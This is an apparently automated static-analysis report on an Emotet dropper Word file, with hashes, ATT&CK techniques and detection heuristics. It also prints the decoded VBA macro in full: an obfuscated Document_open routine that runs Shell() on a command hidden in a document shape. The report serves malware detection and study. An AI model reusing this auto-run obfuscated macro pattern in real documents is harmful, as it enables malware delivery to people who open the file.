Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7fc466fbb0512cd1…

MALICIOUS

Office (OLE)

79.4 KB Created: 2018-11-08 11:05:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: 9c1a8b115ed66f6c0309b1ca799f3202 SHA-1: dc122c3fb15fb4f71c8d33b7966d3e1417e324bb SHA-256: 7fc466fbb0512cd1a7213abedb71a6ddba84d0dff4e012d13be1b3f27b95f598
270 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a Document_Open VBA macro that uses the Shell() function to execute a command. This command invokes cmd.exe to run a PowerShell command that decodes and decompresses a Base64 string. The decompressed content is then executed, likely to download and run a second-stage payload. The ClamAV detection name 'Doc.Dropper.Emotet-6769504-0' strongly suggests the Emotet family.

Heuristics 8

  • ClamAV: Doc.Dropper.Emotet-6769504-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emotet-6769504-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
       FormatNumber (fGZTi + IcTzKQ + pTbKd + lNOOt / GrULb + CFViR)
    rnYnkZAfWT = Shell("" + ZcvEq + UssUzwu + Shapes(ZFUCzEL + pQwWMn + 1 + CGTqB + jwTfDo).TextFrame.TextRange.Text + SWYjPCGU + hBSkzj, 359069471 - 359069471)
       FormatNumber uFwwm + stdBu + AaSjEi + EwmqEw + (BQuzBV + DNrUD + Gaplal + mdbRr)
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
    On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1398 bytes
SHA-256: c171e5a645f9154b6122576c6574303a44e81d6257f2682acda538f86b0e6eab
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "sntrdFifMof"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   TimeValue (CVNvMN + rCXGDD + kFzks + wlVOCw * iMUrU + VEUZsz)
   FormatDateTime PfHmH + fqjXUU + lWjYvo + nUbzjr / (mMGGQ + ddLihS + HaQbY + KUHwHp)
   FormatNumber (SuDHCQ + sdcQEX + HLFqd + aNDAb - jifNwQ + zLiHWi + sOwoK + VEMwt + MIYFr + fMjsN - iARav + EiMbd + QPpHU + WjUhEi)
   TimeValue (Rumri + jtqlTZ) + nRAwsN + FiiflS
   TimeValue DrSRzB + JKBvIn * LEkiNp + NXrHVi * wvnCph + qtJdK
   TimeValue qiJAJd + MZSpNq + EjsoC + PEFap + fsbVO + kvJNA / (TJbuG + fwmGn + SQLYX + YjKwzo)
   Error (nnnUcn + YQKXSz - (nzsQrj + bznRr))
   Error KuHCI + qjwsl - Bupjzs + BOIdRZ
   FormatDateTime LnzCkp + NWDUJb + EzziR + GmSpZP * tCRpcW + ivwqBk * jTdci + sJJdn + HjZUJ + VsqLEN
   FormatNumber (fGZTi + IcTzKQ + pTbKd + lNOOt / GrULb + CFViR)
rnYnkZAfWT = Shell("" + ZcvEq + UssUzwu + Shapes(ZFUCzEL + pQwWMn + 1 + CGTqB + jwTfDo).TextFrame.TextRange.Text + SWYjPCGU + hBSkzj, 359069471 - 359069471)
   FormatNumber uFwwm + stdBu + AaSjEi + EwmqEw + (BQuzBV + DNrUD + Gaplal + mdbRr)
   FormatDateTime vwnYj + IwSBl / TiPcfA + DuAwmC
End Sub